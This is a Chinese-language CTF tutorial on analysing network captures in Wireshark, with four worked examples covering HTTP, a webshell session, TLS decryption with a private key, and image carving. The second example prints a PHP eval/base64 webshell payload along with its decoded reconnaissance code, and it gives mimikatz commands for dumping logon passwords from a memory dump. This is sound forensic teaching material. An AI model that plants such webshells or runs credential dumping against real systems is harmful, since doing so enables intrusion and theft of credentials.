web流量分析基本套路
- 流量分析傳輸了資料:zip rar png jpg txt mp3,特别是流量包比較大時需要注意
- binwalk分離檔案,grep或者wireshark内ctrl+f搜尋
- 分情況使用導出對象,導出分組位元組流,原始資料
- 搜尋時可以看情況搜尋分組詳情、分組位元組流
- 檢視包廂的差異,可以按大小排列資料包等
- png在流量中經常以base64形式出現
- 如果有TLS,要麼找密鑰,要麼看别的協定
例題一普通http流量
使用wireshark打開檔案
可以點選Protocol,按協定進行排序
也可以直接按請求方式過濾
http.request.method == "GET"
http.request.method == "POST"
發現大部分請求都是404,有三個成功,并且是編碼資料
點選右擊選擇追蹤流->http流
進行base64解碼
第二個是flag.txt
找到流量右擊選擇導出分組位元組流
因為url通路的是
print_r(gzcompress(file_get_contents(base64_decode(%22ZmxhZy50eHQ%22))));
需要解碼
gzcompress
相反的函數就是
gzuncompress
decode.php
<?php
$file=file_get_contents("./flag.bin");
$file=gzuncompress($file);
var_dump($file);
?>
得到flag
例題二http傳輸檔案流量
檔案比較大
使用wireshark打開,按協定排序
追蹤TCP流
發現可疑代碼,解碼整理一下
yo=@eval(base64_decode($_POST[z0]));
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
其他HTTP流量中也沒有什麼重要資訊,選擇追蹤TCP流,在流21,發現rar檔案,選擇原始資料,另存為
這是把整個資料包都儲存下來了,在本地打開rar檔案,如果打不開檔案,使用010打開,把無用内容删除
打開rar壓縮包發現被加密了,因為這是到流量題,有限考慮去流量中找密碼,其次是考慮壓縮包的各種考點
這個壓縮包肯定是傳過來之前被加密的,是以需要向前找,看看流量中有什麼
在的流量中可以看到傳了三個變量,z0,z1,z2,其中z2解碼之後就是每次執行的指令,從流21開始依次向前解碼z2,發現流18,base64解碼内容為
cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]
大概就是在cmd中調用了winrar,加密檔案并設定密碼
hp[password] 加密檔案資料和檔案頭
密碼就是JJBoom了,解壓檔案
但是圖檔并不能檢視,用010打開
檔案頭是MDMP,說明這是Dump檔案或用linux下的file指令檢視檔案格式
Dump檔案是程序的記憶體鏡像,可以把程式的執行狀态通過調試器儲存到dump檔案中。Dump檔案是用來給驅動程式編寫人員調試驅動程式用的,這種檔案必須用專用工具軟體打開,比如使用WinDbg打開
需要使用猕猴桃mimikatz打開
使用以下三條指令
log d:\1.txt //将回顯輸出到一個檔案中
sekurlsa::minidump 1.gif //載入dmp檔案
sekurlsa::logonpasswords full //讀取登入密碼
登入密碼就是flag
總結:
- 如果資料包比較大,可以追蹤流再儲存,資料包小的話可以直接使用儲存分組位元組流
- 資料流量比較多的話,在wireshark中可以使用統計->conversations進行檢視
例題三https加密流量
一個pcap檔案一個txt文檔
txt文檔内容為題目的提示
提示一:若感覺在中間某個容易出錯的步驟,若有需要檢驗是否正确時,可以比較MD5: 90c490781f9c320cd1ba671fcb112d1c
提示二:注意補齊私鑰格式
-----BEGIN RSA PRIVATE KEY-----
XXXXXXX
-----END RSA PRIVATE KEY-----
打開流量包沒有發現http,但是存在TLS協定,判斷采用了https,需要密鑰解碼
繼續分析其他協定,翻一遍smtp,發現一張經過base64圖檔
選擇show data as 原始資料,另存為1.txt,把多餘的資訊删除,隻保留base64
使用腳本将base64轉換成圖檔
import base64
f=open("data.txt","r")
f2=open("1.png","wb")
content=base64.b64decode(f.read())
f2.write(content)
f.close()
f2.close()
生成的圖檔,可以聯想到HTTPS的私鑰,使用ocr進行識别,我用的是qq識屏,識别後點選下載下傳,儲存資料,python簡單處理下除掉多餘的空格
因為題目提示了中間容易出錯的地方大概就是這裡了,對一下md5值不對,頭大了,需要一個個的對比
将字元前後加上RSA的标記,儲存文檔
在wireshark中添加私鑰檔案
- 編輯->首選項->選擇協定TLS->選擇RSA keys list->點選Edit
- 在彈出的視窗中點選左下角加号->在Key File中選擇檔案->點選ok
添加完成,wireshark會自動重新整理,搜尋http協定,追蹤流就可以看到flag
例題四視訊流
兩個點
- 視訊資訊在流量包中使用UDP協定進行傳輸
- png,jpg等圖檔資訊隻要頭尾标記在,圖檔外多餘的資料不會影響顯示
打開流量包,首先關注http協定,選中第一個http包右鍵選擇追蹤http流
在流中發現大量與視訊相關的字眼,并且沒有發現關于flag的資訊,既然與視訊相關就去看udp包
在流中發現jpg圖檔
jpg圖檔含有的明顯特征
将這個流選擇原始資料并儲存,資料很多需要等待一會兒避免漏掉
因為整個流中有很多jpg圖檔是以需要使用腳本分割
f = open("./pcap","rb")
data = f.read()
sub = 0
f.seek(0)
while 1:
if f.read(3) == b'\xff\xd8\xff':
f1 = open(str(sub) + '.jpg', "wb")
f1.write(data[f.tell()-3:])
f1.close()
sub += 1
else:
f.seek(-2, 1)
代碼解釋
- b’\xff\xd8\xff’ jpg格式檔案頭
- f.seek() 函數用于将檔案指針移動至指定位置
file.seek(offset[, whence])
其中,各個參數的含義如下:
file:表示檔案對象;
whence:作為可選參數,用于指定檔案指針要放置的位置,該參數的參數值有 3 個選擇:0 代表檔案頭(預設值)、1 代表目前位置、2 代表檔案尾。
offset:表示相對于 whence 位置檔案指針的偏移量,正數表示向後偏移,負數表示向前偏移。例如,當whence == 0 &&offset == 3(即 seek(3,0) ),表示檔案指針移動至距離檔案開頭處 3 個字元的位置;當whence == 1 &&offset == 5(即 seek(5,1) ),表示檔案指針向後移動,移動至距離目前位置 5 個字元處。
注意,當 offset 值非 0 時,Python 要求檔案必須要以二進制格式打開,否則會抛出 io.UnsupportedOperation 錯誤。
-
f.tell(3) 輸出目前檔案指針位置
tell執行個體
讀取 a.txt 的代碼如下:
f = open("a.txt",'r')
print(f.tell())
print(f.read(3))
print(f.tell())
運作結果為:
0
htt
3
當使用 open() 函數打開檔案時,檔案指針的起始位置為 0,表示位于檔案的開頭處,當使用 read() 函數從檔案中讀取 3 個字元之後,檔案指針同時向後移動了 3 個字元的位置。這就表明,當程式使用檔案對象讀寫資料時,檔案指針會自動向後移動:讀寫了多少個資料,檔案指針就自動向後移動多少個位置
代碼意思就是每次讀取檔案三個位元組,判斷是不是jpg的檔案頭,注意此時檔案指針已經發生了變化向後移動了兩位,如果是檔案頭就将目前指針位置到末尾的全部資料儲存為jpg,也就是說生成的jpg圖檔大小會越來越小,如果不是jpg的檔案頭,檔案指針就從目前位置向前移動兩位繼續判斷
運作腳本解析圖檔